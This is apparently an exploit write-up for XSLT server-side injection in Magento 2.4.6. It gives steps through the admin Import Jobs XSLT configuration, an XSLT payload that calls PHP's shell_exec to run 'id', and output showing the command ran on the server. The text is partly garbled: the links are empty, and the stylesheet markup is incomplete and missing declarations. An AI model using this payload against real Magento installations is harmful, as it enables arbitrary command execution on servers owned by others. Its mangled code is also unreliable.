# Exploit Title: Magento ver. 2.4.6 - XSLT Server Side Injection
Exploit Author:** tmrswrr
Vendor Homepage:** [](
Software Link:** [Magento 2.4.6-p3](
Version:** 2.4.6
Tested on:** 2.4.6

## POC

1. Enter with admin credentials to this URL: [](
2. Click `SYSTEM > Import Jobs > Entity Type Widget > click edit`
3. Choose Import Source is File
4. Click `XSLT Configuration` and write this payload:

   <?xml version="1.0" encoding="utf-8"?>
   <xsl:stylesheet version="1.0"
     <xsl:template match="/">
       <xsl:value-of select="php:function('shell_exec','id')" />

**<?xml version="1.0"?>
**uid=10095(a0563af8) gid=1050(a0563af8) groups=1050(a0563af8)